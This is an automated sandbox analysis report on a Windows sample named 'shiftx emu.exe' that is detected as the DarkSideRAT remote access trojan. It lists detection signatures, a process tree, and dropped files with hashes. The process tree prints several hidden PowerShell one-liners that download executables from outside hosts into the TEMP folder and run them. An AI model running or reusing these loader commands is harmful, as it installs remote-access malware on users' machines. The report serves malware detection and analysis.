Analysis

  • user interaction
    yes
  • max time kernel
    110s
  • max time network
    115s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    17/08/2026, 13:26

General

  • Target
    shiftx emu.exe
  • Size 13.5MB
  • Sample260817-qpg7fa1eqd
  • SHA256 a622cce51d8453385234d57bf9d94becae4255184a211127751da5c39fa0056f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

  • Detects DarkSideRAT 1 IoCs
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 3 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops file in Windows directory 4 IoCs
  • Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

    When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

  • Executes a command shell one-liner 1 TTPs 6 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • NTFS ADS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\shiftx emu.exe
    "C:\Users\Admin\AppData\Local\Temp\shiftx emu.exe"
    1⤵
      PID:5040
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1648,i,1219092009637341937,2246220349028861373,262144 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=1964 /prefetch:2
      1⤵
        PID:6028
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1512,i,1059037406152893603,17117055279708962816,524288 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2264 /prefetch:11
        1⤵
        • Downloads MZ/PE file
        • System Time Discovery
        PID:3756
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:5088
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2384,i,4642729411557973134,16238149731904184962,524288 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2396 /prefetch:13
          1⤵
            PID:5100
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --metrics-shmem-handle=3236,i,16651269198532701838,4278477767117231824,2097152 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3240 /prefetch:1
            1⤵
              PID:5972
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --metrics-shmem-handle=3248,i,8976707663390504170,8165664931069322427,2097152 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3284 /prefetch:1
              1⤵
                PID:5760
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --metrics-shmem-handle=4300,i,279428815866568667,10460827492472657387,2097152 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4308 /prefetch:9
                1⤵
                  PID:4544
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --metrics-shmem-handle=4740,i,16035744832720480548,2608939901535447241,2097152 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4816 /prefetch:1
                  1⤵
                    PID:3580
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5484,i,853141390796697839,3332255497604582037,524288 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5488 /prefetch:14
                    1⤵
                      PID:1648
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                      1⤵
                        PID:2456
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
                        1⤵
                          PID:2516
                        • C:\Windows\System32\oobe\UserOOBEBroker.exe
                          C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding
                          1⤵
                          • Drops file in Windows directory
                          PID:3676
                        • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe
                          C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding
                          1⤵
                          • System Location Discovery: System Language Discovery
                          PID:2056
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -s LxpSvc
                          1⤵
                            PID:5944
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5760,i,6497799510502919711,10457103042857870064,524288 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5928 /prefetch:14
                            1⤵
                              PID:1624
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5932,i,2922930489051124378,8529334653390486710,524288 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5748 /prefetch:14
                              1⤵
                                PID:1480
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5664,i,16437086072456186882,18005108446517639803,524288 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5820 /prefetch:14
                                1⤵
                                  PID:5908
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --metrics-shmem-handle=5780,i,17113447246528594688,9355614205943987018,2097152 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5832 /prefetch:1
                                  1⤵
                                    PID:128
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --metrics-shmem-handle=4836,i,5923621253978100015,12546770464712904396,2097152 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5868 /prefetch:1
                                    1⤵
                                      PID:5340
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --metrics-shmem-handle=3472,i,15706606396626539936,1052232338070210207,2097152 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4820 /prefetch:1
                                      1⤵
                                        PID:3828
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3320,i,5473551986744847391,17018919143319486129,524288 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3372 /prefetch:14
                                        1⤵
                                        • NTFS ADS
                                        PID:1164
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3360,i,28676193413115701,1639475756256338172,524288 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3356 /prefetch:14
                                        1⤵
                                        • Subvert Trust Controls: Mark-of-the-Web Bypass
                                        • NTFS ADS
                                        PID:2212
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3360,i,15496784298971585585,14607924289860513141,524288 --field-trial-handle=1968,i,9646262304115137968,11880299481461689997,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3528 /prefetch:14
                                        1⤵
                                        • NTFS ADS
                                        PID:4884
                                      • C:\Windows\System32\rundll32.exe
                                        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                        1⤵
                                          PID:3688
                                        • C:\Windows\System32\DataExchangeHost.exe
                                          C:\Windows\System32\DataExchangeHost.exe -Embedding
                                          1⤵
                                            PID:2944
                                          • C:\Users\Admin\Desktop\shiftx emu.exe
                                            "C:\Users\Admin\Desktop\shiftx emu.exe"
                                            1⤵
                                            • Executes dropped EXE
                                            • Loads dropped DLL
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of WriteProcessMemory
                                            PID:5284
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK611575.exe; Start-Process -FilePath $env:TEMP\BK611575.exe -WindowStyle Hidden }"
                                              2⤵
                                              • Executes a command shell one-liner
                                              • Suspicious use of WriteProcessMemory
                                              PID:2308
                                              • C:\Windows\system32\cmd.exe
                                                cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK611575.exe; Start-Process -FilePath $env:TEMP\BK611575.exe -WindowStyle Hidden }"
                                                3⤵
                                                • Executes a command shell one-liner
                                                • Suspicious use of WriteProcessMemory
                                                PID:4528
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK611575.exe; Start-Process -FilePath $env:TEMP\BK611575.exe -WindowStyle Hidden }"
                                                  4⤵
                                                  • Badlisted process makes network request
                                                  • Command and Scripting Interpreter: PowerShell
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:1396
                                                  • C:\Users\Admin\AppData\Local\Temp\BK611575.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\BK611575.exe"
                                                    5⤵
                                                    • Executes dropped EXE
                                                    PID:336
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://api.darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=848RdsHHjnEv' -OutFile $env:TEMP\BK946569.exe; Start-Process -FilePath $env:TEMP\BK946569.exe -WindowStyle Hidden }"
                                              2⤵
                                              • Executes a command shell one-liner
                                              • Suspicious use of WriteProcessMemory
                                              PID:5448
                                              • C:\Windows\system32\cmd.exe
                                                cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://api.darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=848RdsHHjnEv' -OutFile $env:TEMP\BK946569.exe; Start-Process -FilePath $env:TEMP\BK946569.exe -WindowStyle Hidden }"
                                                3⤵
                                                • Executes a command shell one-liner
                                                • Suspicious use of WriteProcessMemory
                                                PID:5768
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://api.darkside.cy/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt&_r=848RdsHHjnEv' -OutFile $env:TEMP\BK946569.exe; Start-Process -FilePath $env:TEMP\BK946569.exe -WindowStyle Hidden }"
                                                  4⤵
                                                  • Badlisted process makes network request
                                                  • Command and Scripting Interpreter: PowerShell
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:1260
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK938397.exe; Start-Process -FilePath $env:TEMP\BK938397.exe -WindowStyle Hidden }"
                                              2⤵
                                              • Executes a command shell one-liner
                                              • Suspicious use of WriteProcessMemory
                                              PID:2536
                                              • C:\Windows\system32\cmd.exe
                                                cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK938397.exe; Start-Process -FilePath $env:TEMP\BK938397.exe -WindowStyle Hidden }"
                                                3⤵
                                                • Executes a command shell one-liner
                                                • Suspicious use of WriteProcessMemory
                                                PID:4680
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=d4vm3kRIU7hPzdWB0oDSW001.txt' -OutFile $env:TEMP\BK938397.exe; Start-Process -FilePath $env:TEMP\BK938397.exe -WindowStyle Hidden }"
                                                  4⤵
                                                  • Badlisted process makes network request
                                                  • Command and Scripting Interpreter: PowerShell
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:6096

                                          Network

                                                MITRE ATT&CK Enterprise v16

                                                Replay Monitor

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                                                Downloads

                                                Network Persistent State

                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                • Size 2KB
                                                • SHA256 8683d36cf69f749b885af75fbd786877c931223d1417c5230dbeb5c28d0bb4d7
                                                • MD5 SHA1 SHA512 TLSH

                                                SCT Auditing Pending Reports

                                                • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                • Size 2B
                                                • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                • MD5 SHA1 SHA512

                                                libssl-4-x64.dll

                                                • Path C:\Users\Admin\AppData\Local\Slotted\bin\libssl-4-x64.dll
                                                • Size 1.5MB
                                                • SHA256 d4ef34a4634fdf5c3b906db860f92165f2ac5ccc5d22a9f0057452fd983c2a9c
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                BK611575.exe

                                                • Path C:\Users\Admin\AppData\Local\Temp\BK611575.exe
                                                • Size 56KB
                                                • SHA256 0d0a91c58d930d76a2600f1b75965a4edfb63357284c5965fb3b3f08266f0237
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                __PSScriptPolicyTest_h4jlkax0.313.ps1

                                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h4jlkax0.313.ps1
                                                • Size 60B
                                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                • MD5 SHA1 SHA512 TLSH

                                                libcrypto-4-x64.dll

                                                • Path C:\Users\Admin\Desktop\libcrypto-4-x64.dll
                                                • Size 7.0MB
                                                • SHA256 6f4f20a28daec8c04283fbf1060eae8af34f65152d03e651dd6b85d5f914ef49
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                shiftx emu.exe

                                                • Path C:\Users\Admin\Desktop\shiftx emu.exe
                                                • Size 13.5MB
                                                • SHA256 a622cce51d8453385234d57bf9d94becae4255184a211127751da5c39fa0056f
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                memory/1396-57-0x000001CA58150000-0x000001CA58172000-memory.dmp